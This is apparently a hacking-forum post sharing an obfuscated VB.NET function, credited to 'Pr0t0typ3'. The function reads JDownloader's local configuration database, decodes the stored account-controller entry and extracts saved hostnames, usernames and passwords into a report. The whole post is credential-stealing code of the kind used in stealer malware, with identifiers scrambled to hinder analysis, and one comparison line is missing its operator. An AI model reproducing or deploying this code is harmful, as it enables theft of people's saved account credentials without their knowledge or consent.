13 Years of Service
24%
Credits: Pr0t0typ3
Code:
>
Friend Function ZvDKoCBRUXPnDvfOQkNSfcLYxxZhuWpVtLlLWQiSoYjplwOckl() As String
Dim MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv As String = ""
Dim oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV As New System.Text.StringBuilder
Dim eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn As String
Dim knfETMvdgBdhvGbobOpMKmUlXbBbmgyvToNFCNesOCLjeHJpKP As String = ""
Dim XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW As String = ""
Dim LXoDLMVsnRTzGZhXDxywCmtBRrrHwzrRtYWEsNEuITCBooQYkN As String = ""
If Environ("Programfiles(x86)") Is Nothing Then
eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn = Environ("programfiles") & "\jDownloader\config\database.script"
Else
eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn = Environ("programfiles(x86)") & "\jDownloader\config\database.script"
End If
If Not IO.File.Exists(eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn) Then
Return ""
Else
Dim GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt As String = "INSERT INTO CONFIG VALUES('AccountController','"
Dim iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs As String() = IO.File.ReadAllLines(eeSEfCOcKbNRrfdXomJeDJFRUiFGPZUxNfzTNDirsqvgZgLYXn)
For i As Integer = 0 To iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs.Length - 1
If iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs(i).Contains(GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt) Then
Dim fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv As String = iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs(i).Substring(GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt.Length - 1).Substring(1, iDtkxIrqeQrOaoWnZdErpjCyVqPVRdgvRSblgKZrMfZPuEFDIs(i).Length - (GlJbnbYSkhFoyFBNdezCLiQtJpvPXNsnnmrcVcHhTjmphGjOxt.Length + 1 + 3))
For u As Integer = 0 To fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv.Length - 1 Step 2
MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv = MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv & Chr("&H" & fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv.Substring(u, 2))
Next
fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv = ""
Dim qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw As String() = MGYVscmsoBRSnpyWEhwdjDLBgbbafQJQuVHXadVtXClhWqhYlv.Split(Chr(0))
For l As Integer = 0 To qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw.Length - 1
For r As Integer = 1 To 31
qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l) = qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l).Replace(Chr(r), "")
Next
qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l) = qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l).Replace("ÿ", "")
If qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l) "" Then fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv += vbNewLine & qTVCWbjZFOONSovDhutKNQIgvoYHJdGLYJrFeeGObDWCarSrDw(l)
Next
Dim PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII As String() = fmRddtwzrQfYIpsNptISnBnaCYWygxjnNnysLIfBZROZqFaOXv.ToString.Split(vbNewLine)
For x As Integer = 0 To PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII.Length - 2
If PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).EndsWith("sq") And PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).IndexOf(".") > 0 Then
LXoDLMVsnRTzGZhXDxywCmtBRrrHwzrRtYWEsNEuITCBooQYkN = PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Substring(0, PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Length - 2)
End If
If PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).EndsWith("t") And PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x + 1).EndsWith("xt") Then
XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW = PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Substring(0, PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x).Length - 1)
knfETMvdgBdhvGbobOpMKmUlXbBbmgyvToNFCNesOCLjeHJpKP = PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x + 1).Substring(0, PyVFQWSduJRSczuYZGNfndJEFDIszHXyxOEHxXzfcLyUKBPZII(x + 1).Length - 2)
If XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW.Length > 4 Then oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV.Append("Application: JDownloader" & vbNewLine & "Host: " & LXoDLMVsnRTzGZhXDxywCmtBRrrHwzrRtYWEsNEuITCBooQYkN & vbNewLine & _
"User: " & knfETMvdgBdhvGbobOpMKmUlXbBbmgyvToNFCNesOCLjeHJpKP & vbNewLine & _
"Pass: " & XNsCCBGcjqVihxBEvUjcMuwRtyMJrFeeGObDWCarSrDwPyVFQW & vbNewLine & vbNewLine)
End If
Next
End If
Next
End If
Return oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV.ToString
ZvDKoCBRUXPnDvfOQkNSfcLYxxZhuWpVtLlLWQiSoYjplwOckl = oNHkmTZsBqWRSQVGNUkLLaRTLkNrpXMgXObmVUIIjrEgzfDVhV.ToString
End Function